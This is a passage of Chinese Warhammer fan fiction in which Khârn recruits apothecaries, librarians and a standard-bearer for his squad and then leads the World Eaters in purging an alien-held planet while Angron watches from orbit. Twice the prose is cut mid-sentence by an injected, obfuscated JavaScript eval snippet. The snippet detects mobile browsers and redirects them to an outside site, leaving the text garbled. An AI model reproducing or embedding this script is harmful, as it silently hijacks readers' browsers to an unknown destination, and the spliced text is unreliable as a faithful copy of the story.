他悄悄看向卡恩,未免有些忧心忡忡。卡恩不是最能砍的,也不是最能想的……他要掌控军团可有一大段路要走……他以后还是多盯着点吧…… “我明白了父亲。”卡恩很快想通其中关节,他现在充满动力,迫不及待地想去大施拳脚。可另一个念头勾住了他的脚步,他还想再和安格隆多聊一会儿,享受着独属他们两人间平静而安逸的氛围。他不知道下次要等到什么时候才会有相同的机会。 “去吧。”安格隆却下了逐客令,“做你该做的。” 卡恩没有动。 安格隆如有实质的目光扫过他的脸,一时间大厅只有他们的呼吸声。 最终还是安格隆心软了,尽管他的语气依旧不耐烦:“……我会在角斗士号上看着你们。” 卡恩欣喜地抬头,从未有过的喜悦注满他的两颗心脏。他稍微反思了下自己,他是不是又逼迫原体做事了?可这种感觉如此强烈而幸福,让他霎时冲昏了头脑。以往的漂泊与不安被一扫而空,此时此刻他深信自己就是安格隆喜爱的子嗣。 他用拳头抵着胸口,庄严宣誓:“父亲!请您等一等!我一定会把整个十二军团献给您!” 安格隆迟疑地点点头,目送卡恩离开后,有些困惑—— ——到底谁要整个军团了? …… 卡恩乘坐运输艇前往卡利博斯所在的战舰——浪潮狱号。它是一艘大型巡洋舰。它装潢简约,通体以蓝白二色装饰,每个舱室都有极高而明亮的穹顶,方便药剂师们做手术。它从前是卡利博斯所在队伍的战舰,编入坚毅决心号舰队后,就成了药剂师特遣小队共同研究的场所。 换而言之,它也是药剂师们月考的地方。 卡恩很快找到了卡利博斯。对方一如既往的情绪稳定——稳定地怒火中烧,他一个一个把参加考核的药剂师训成趴趴犬,整艘战舰充斥着学医人的绝望。 等卡利博斯骂完人,卡恩才敢靠近对方。 “八连长?”卡利博斯不客气地说,“您是来找你们的八连冠军?您想听听卡格斯最近的表现吗?” 卡恩暂时不是很想听…… “我来找你有其他要事。”卡恩以不卑不亢的态度说道。卡利博斯以为卡恩有其他命令,面容平静了些。 “在父亲刚刚回归的时候,也就是从帝皇幻梦号传送至重锻号上时,父亲和基尔以及众多军官发生了冲突……”卡恩刚想讲下去,就看见卡利博斯毫不意外地点头。药剂师说:“我知道。” “你、你知道?”卡恩被他这幅表现搞糊涂了,“难道你也查阅了重锻号的医疗日志所以才——” “我干嘛要看那个。”卡利博斯莫名其妙,“我自己有嘴不会自己问基尔?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284397|180617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡利博斯当场复述了一遍他和基尔的交流:“我从诺威高地回到重锻号上,看见基尔,就问他‘你和原体见面发生了什么事’。基尔就说‘原体看不上我,把我揍了个半死’。我嘲笑了他一顿,就这样,有问题吗?” 卡恩愣在原地,然后他真的有点破防了—— 他当初听加兰说“连卡利博斯都不知道这件事”,便下意识地认同重锻号上发生的事情很严重,绝不能让别人知道。其实他只是被加兰的话术绕进去了……首先原体揍一连长众军官不是见不得人的事;其次加兰说卡利博斯不知道的事情是他“销毁医疗日志”,不是指卡利博斯不清楚第一天回归的真实情况…… 成为八连长还未满一年的卡恩第一次见识人心险恶……战犬兄弟中怎会有如此阴险之辈…… 卡恩默默消化自己的破防。卡利博斯则催促道:“八连长究竟有什么事?” 卡恩顿了顿,才心虚地说:“我想把卡格斯接回来……” 卡利博斯足足死亡凝视了他一分钟。 千辛万苦赎回卡格斯后,八连冠军兼药剂师立刻给八连长一个大大的拥抱:“你总算来救我了!我再也不想看见执政官的脸!” 卡恩无言地拍了拍他的背。 “对了,我听说加兰来了我们小队。”卡格斯忽然说,“这样我们就有两个药剂师,加兰还是浪潮狱号上技术最好的家伙,我还要继续兼任吗?” “要。”卡恩肯定道。 “我不信任加兰。”卡恩捏了捏卡格斯的肩膀,低声道,“我只能依靠你了。” “你突然这样说,根本就是不给我留退路……”卡格斯抖落不存在的鸡皮疙瘩,又和卡恩勾肩搭背,“加兰给你惹麻烦了?我也讨厌他,他仗着自己懂得多在浪潮狱号上横着走……对了,你要不要来看看我在浪潮狱号上主持修建的角斗场?它专门用来供给那些压力过大的药剂师角斗,可受欢迎了。” 卡恩想笑又不敢笑,他们还在浪潮狱号上:“难怪卡利博斯一直和我告状……” 他们离开了浪潮狱号,回到坚毅决心号,前往机械贤者的私人锻造室,在那里抓到了耶利哥。耶利哥有着所有技术军士的共同爱好,痴迷机械。而他喜欢的点又比寻常技术军士更黑暗一点,只有机械贤者能忍耐。于是他泡在这里几天几夜,几乎忘记了时间,想要和锻造炉告白了。 卡恩找到耶利哥,诚恳地说需要他的帮助,无论是接下来的战争,还是未来对屠夫之钉的研究。 “只要你需要我,只要我还能动,连长。”耶利哥迅速地收拾好东西,“我一定在。” 机械贤者原本冷傲退技佬,听到“屠夫之钉”后用一根机械触手拦住了卡恩。 “久仰大名,原体侍从。”机械贤者维尔·赫雷达微微躬身,“您会需要我的,我也愿意热情地为您服务。”他将自己的名片用机械触手塞到卡恩手里。耶利哥不满地嘟囔几声。 卡恩紧接着在训练场找到斯金,他在研究某种化学物质武器。卡格斯看了建议斯金先去做个体检,这化学武器的腐蚀性太糟糕了。耶利哥则提议要不他来改动一下终结者装甲,他们军团要有自己特色的装甲。斯金加入了装甲相关的讨论。然后越来越多人参与进来。 好一会儿后,卡恩才对斯金说:“接下来的战斗我需要你在我身边。” 斯金微微歪头,看上去有些困惑:“我不是一直待着吗?” 然后卡恩从另一个训练场中找到他从前尊敬的战友——杰德克。 杰德克也是军团中的老战犬之一了,与卡恩一样来自泰拉,从前是卡恩小队里的掌旗官。掌旗官通常在战场上背起军团或小队的荣誉旗帜,是战场上最容易看到的目标,也是最激励队友的存在。他们不仅把握着队伍的士气,同时负责守卫高级军官们。 但自从卡恩擢升侍从武官,并主动涂去军团标志后,他和这位战友就很少联系了。 “我还以为我失业了呢。”杰德克敲敲卡恩空荡荡的臂铠,“现在还有旗帜让我挥舞吗?” “我们小队的暂时没有,连队也没有。”卡恩故意开玩笑道,“但整个军团的旗帜还在那里,我想要我的人握着它,并让所有人都看见它。” “你的人?好吧,好吧,兄弟情谊,我当然还在你的小队里……”杰德克耸耸肩,接受了卡恩新的任命。 最后卡恩去找了首席智库瓦瑞斯。 虽然他还是不知道哪里得罪对方了…… 但是智库的力量也不容小觑,他要团结一切可团结的。 “我的小队缺一位智库。”卡恩尽量恭敬地说,“您有推荐的人选吗?我会带他在战场上宣扬十二军团的威名,希望他不会辱没原体的期待。” 瓦瑞斯盯了八连长好一会儿,他一直希望能给各位高级军官推荐智库入队,但是…… “不,不是一位。”瓦瑞斯摇头道,“我认为您需要的是两位智库。” 卡恩:?一次性塞两个人这么猖狂? “立嘱官艾斯卡在战场上更为谨慎,他如所有战犬一样爱护自己的手足。”瓦瑞斯说道,“典籍官特提斯……我认为他在灵能上更有天赋。我会推荐他去学习药剂师的相关知识,然后再来辅助您。” 卡格斯出声打断:“一个灵能药剂师?我们要这么多药剂师干什么?” “我们的原体会需要的。”瓦瑞斯想起那一天的失败,不禁有些自责,“单打独斗的天才不可能解决所有问题,我们需要交流,相互融会彼此的长处,才能在洪流中前进……请您放心,特提斯不会放弃对学问的研究,他同样是个战力卓绝的智库。” “我不清楚灵能药剂师是什么东西……”卡恩深吸一口气,“但有一点您说对了,我们需要交流,融入彼此……所以我会欢迎他们。” 瓦瑞斯后退一步,微微低头,再也不见昨天对卡恩阴阳怪气的模样:“感谢您的接纳,侍从武官。我相信由您做表率,整个军团的智库会得到更多重视,他们会感激您,并发挥更令人满意的表现。” 卡恩艰难地接受来自这位长者的敬意。 他脑海里闪过一瞬间的茫然:他的小队有三个药剂师,两个智库。作为原体最亲近的也是唯一一个侍从武官,他身边的人一定会对军团造成无法忽略的影响……现在一个不起眼的举动是否会在未来掀起滔天巨浪?十二军团未来会变成什么样子?战犬的未来又在哪里? 卡恩努力让自己放松,让那些恐惧穿透自己的身躯而不停留。 ——没关系,安格隆会看着他。他有着整个军团最伟大而高贵之人的支持,他还在担忧什么呢? 一想要安格隆会在角斗士号上的舰桥上观看他们的战斗,卡恩便浑身充满动力。 “继续前进吧、”卡恩对身边的伙伴说道,“接下来,我要用战争,将十二军团团结在一起。” 23.扫荡 以往卡恩都是和各位连长平起平坐地商议接下来的战事规划,但当新的卫星绕到坚毅决心号下方时,战事安排出现了明显的变动:卡恩将担任主指挥官,角斗士号作为主力舰出动。所有连队军官被安排到角斗士号上进行战前规划。 角斗士号上,连队军官在会议室里翻看异形分布图,卡恩的小队则在外面的长廊进行更细致的……呃,战前熟悉战友环节。 卡格斯穿着动力甲,一边替特提斯检查他的医疗器械,一边说:“现在我是你的前辈了,你万事都得听我的。” 典籍官特提斯不自然抱臂站立,警惕道:“战犬可没有论资排辈的风气。” “但是药剂师有。”卡格斯显然很乐意教导新人药剂师。他夸张地比划,“这是门非常考验资历的学科。” 加兰·苏拉克像鬼魂一样出现在他们身后:“你们的存在已经侮辱了药剂师这个单词……”卡格斯和特提斯同时吓一跳。 面对更有资历的药剂师,卡格斯只能憋屈地闭上嘴。而加兰阴恻恻地说:“在战场上带点类人物种的大脑给我,我要一千个以上。” “你要吃大脑?”卡格斯怀疑地问道,“我们军团又不缺肉罐头。” “我不会前往战场,我的时间要用于做破坏性植入实验,所以记得保存好那些大脑的活性。”加兰目露鄙夷,“这是药剂师的基础课程之一,也是我唯一能指望你们做到的事。” 特提斯看看卡格斯又看看加兰,一个是连长副手,一个是技艺高超的前辈,已经深感未来遭受很多来自药剂师的折磨。 “如果你们发现有会灵能的生物,那也请带回它的头颅。”加兰又意味深长地盯着特提斯,他假装亲热的口吻让智库感到不适,“我亲爱的兄弟,我非常需要这个……” 特提斯毫不怀疑,如果他在战场上受了重伤,又不幸遇见了加兰,加兰会以“不能浪费”为由把他带回去当实验耗材。 卡格斯不想和加兰说话,转身加入了逗艾斯卡的行列中。可怜的艾斯卡,他一直以来跟着他的老师沃里亚斯行动。但沃里亚斯要执行其他任务,不能及时归队。艾斯卡第一次独立上战场就肩负重任,不知是福是祸。 艾斯卡戴着头盔,看不清表情,一板一眼地回答那些不怎么友善的问题。战犬的战士们普遍不喜智库,在入队前总三申五令不许智库进入他们的脑子说话。艾斯卡习惯了被这样对待。他不怪他的兄弟们,深知自己必须在这支队伍表现优异,才能为其他智库争取更多权利与空间。 抱着这样的决心,他说话的语调更加严肃,除了在发声全身一动不动,仿佛和动力甲一起融为雕塑。所有人都看出来他紧绷极了。 卡格斯本来说话夹枪带棒,但不知是不是艾斯卡的回应太没意思,他便说了几个笑话,反而把漩涡引到自己身上。不再受众人瞩目的艾斯卡悄悄松了口气。特提斯感应到对方的难受,连忙将自己表达安慰的心情传送过去。 两位智库没有言语交流,但他们的心在灵能沟通下链接在一起。他们相互读懂了对方心中对这新位置的不安与紧张,孤独感稍有缓解。 脚步声在长廊尽头响起,卡恩的声音飘过来:“……这是我小队新加入的智库们,特提斯和艾斯卡。” 所有阿斯塔特瞬间列队完毕,对卡恩身边的伟大光耀之人行注目礼。安格隆与卡恩并肩行走,步伐很快。听见卡恩的介绍,安格隆只是往这边瞥一眼,以微不可见的幅度点头。 感觉自己被原体注视的战犬们顿时涌出强烈的荣誉感与爱意,他们无不自豪于能被卡恩选中,在原体的注视下与卡恩并肩战斗。当原体走过时,他们连呼吸声都放轻了。头盔之下只有加兰盯着卡恩,一副吃到恶心东西的模样。 两位智库则是从未得到这样的荣耀,他们竟然站在离原体堪堪不到15米的位置、接受原体的检阅?原体知道了他们的名字还并给予回应?这还是智库能得到的待遇吗?他们几乎没办法控制自己的感情,智库等待这一天太久,失态在所难免……灵能在周围微微涌动,强制将情绪按下去。但他们心中的孤独感也一同消逝了,因为他们深信原体会注视着他的子嗣…… 首席智库,感谢您推荐我们入队…… 安格隆和卡恩来到角斗士号的舰桥中。这里是舰长的操作场所与指挥中心,堪称战舰的大脑。它位于尖塔上层,俯瞰着接下来要进攻的星球。 洛塔拉从舰长王座上站起,朝她的原体敬礼致意。 安格隆埋怨了几句为什么这几天一炮都没有开,就把卡恩丢给洛塔拉,让他们自己商讨战术去了。他怒容满面地扫视舰桥上的装置,让凡人军官们胆战心惊,只有卡恩与洛塔拉神色如常地商榷战斗行进路线。 洛塔拉会跟在卡恩的队伍后,来个洗地式的空中支援。卡恩警告洛塔拉别贪功冒进,他不会允许见到自己的战友被自家战舰误伤。 “战争误伤在所难免。”洛塔拉挺直腰背,“但我绝不会让战士殒于我的炮火之下。” “我负责解析鸟卜仪的动静。”扫描官雷哈拉适时表态,在原体身边,她说每一句话都小心翼翼,可一想到战争在军团之主的注视下进行,她又忍不住多表现一点。她宣誓道:“我们不放过任何一个敌人,不认错任何一位战犬。” 卡恩审视了她们一会儿,才严肃道:“我期待你的表现,新舰长。” “共同作战,新指挥官。”洛塔拉不客气地回应。 …… 数千个空降舱如流星坠落大地。行星上的异形走兽纷纷逃窜,以它们的智商无法理解这是一场针对它们的大灭绝,只因它们以矿藏为食。它们中的部落已然发展出联合捕猎的智慧。领头者发出嚎叫,宣告要把这群直立铁皮物种赶进矿山中的火焰陷阱,再把那层铁外壳做成它们的盘中餐。 空降舱走出拿着动力武器的阿斯塔特。由于已经靠近矿山,所以要谨慎使用热能武器。恰好这群阿斯塔特一直以凶猛的近战为傲,他们身着动力甲,却像远古的猎人般追逐着猎物。 一场速度极快的追击战一触即发,十二军团的战旗在战士们前方矗立,在零下冷风中咧咧作响。数千位阿斯塔特怒吼着漫过它,陶钢碰撞的声音使大地都为之颤动。 角斗士号的高度已经从近卫星轨道转移至近地轨道,它如一颗黑星般悬挂高空,但它发射的攻击是所有生物都不能忽略的。 庞大的舰炮阵列在调试下缓慢调转炮口,锁定舰长心仪的位置。数千位凡人水手及技术军士共同作业,将巨大的炮弹塞入其中。当可怖的火力被释放,火炮甲板上震起一层冲击波,而太空中只是看见一个小火星带着一簇尾焰没入行星大气层。 几秒过后,惊天动地的火力打击降临地表,山脉被当场轰碎,河流被瞬间蒸发,封死了异形逃跑的其他路径。此刻它们只能夺命狂奔,抓紧时间进入矿山中。 然而比矿山那诱人矿藏先来到的,是一把炽热且高速运转的链锯斧。刺耳的轰鸣声一闪而过,异形头颅随着一道血线旋转高飞。头颅落入烂泥中,无法闭合的双眼注视着漫山遍野冲锋的“铁皮怪物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291832|180617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”,然后所有视觉被坚硬的动力甲一脚踩爆。 这群战犬在此进行他们最擅长的事,将敌人屠戮殆尽。 但让人有些出乎预料的是,在完全沉浸在战场的情况下,他们反而很少怒吼。负责沟通的电台静悄悄,只有盔甲激烈碰撞的声音。没有指挥的声音,也没有求救的声音,他们之中没有人意识到这点,只是做着自己该做的事,仿佛一张密不透风的杀戮之网,将猎物锁紧并一击毙命。 等到这里再无半点异形的生机,才渐渐有人如梦初醒般地敲敲通讯器。 这次负责冲锋的主力是19连之后的散装连队,也是舰队里纪律最不好的家伙。其中名义上是连长的军官大多放弃了指挥权,告诉战友们听卡恩的就行——只需要表面听听就行,到了战场上不还是他们说了算,这些年不都是这么过来的吗? 可刚刚似乎连卡恩的声音都没听到,难道已经不幸牺牲了?一位连长拿起通讯器,试探性地问道: “侍从武官……” “八连长……” “卡恩?” 通讯器对面传来一声长叹。 这反应可真够莫名其妙的,如果是他当指挥官早就开骂了。这位连长这样想道。 “你们跑得太快,已经把我远远抛下了。”远处,卡恩坐在血染红的巨石上,身边是他的小队成员,以及十二军团的旗帜。特提斯用灵能把旗帜上的冰霜去除,并在半空中投影出巨大的战犬符号。小队成员静静仰望着它不说话,卡格斯在旁边努力收割头颅。 卡恩将通讯器改为面向全体通话,滋滋的电流声传进每个人的耳朵里。他有些无奈地笑笑:“你们让我震撼、震惊、不敢置信,或者一切表达惊讶的词语……我从未在其他军团的士兵身上看到如你们一样的凶猛……我确信你们的怒火能燃烧一切。而且你们绝非沉浸在杀戮的奴隶,而是这把武器的主人……勇士们,我向你们致敬。” “你、你太谦虚了。”第一个打通的连长还以为在和自己私聊。他有些不好意思,只能说出那句振奋人心的怒吼来掩盖:“这是为了原体!为了安格隆!” 然后通讯器里响起了起此彼伏的战吼声:“一切为了安格隆!” 他们朝天空怒吼,仿佛能将心声传递到天边的黑星里,向原体宣誓自己至死不渝的忠诚。 一个格外浑厚的声音夺走了所有人的注意,也让所有人战意高昂: “那么,下一个目标在哪?” …… 卡恩返回角斗士号向安格隆汇报这场大捷。这颗行星很大,他们之前的战斗才扫荡完北半球。但接下来的主力不再是散装连队了,而是卡恩的八万人大连。 蠢蠢欲动的军官们都表示能理解。先安排散装连队是为了舰队的纪律问题,第二次安排八连是因为原体侍从理所当然能有特权。 卡恩的八连人比较多,内部分了好几个不同小队做主力。所有人都砍了个爽,包括智库。每次卡恩返回角斗士号,必定前往舰桥向原体汇报。 原体没有露面,也没有公开夸奖过谁。可这架势谁都知道,只要在这场战斗中拔得头筹,就有机会让原体记住自己的名字。以后十二军团人只会越来越多,原体在非坚毅决心号的战列舰上的时间越来越少,如果不抓紧这次机会,原体怎么会看向自己? 更何况根据凡人水手的小道消息,安格隆确实会顺着卡恩的汇报夸一两句呢。 不过由于安格隆一直是满怀怒容,凡人又不敢直视,因此也不知道原体的真实心情如何……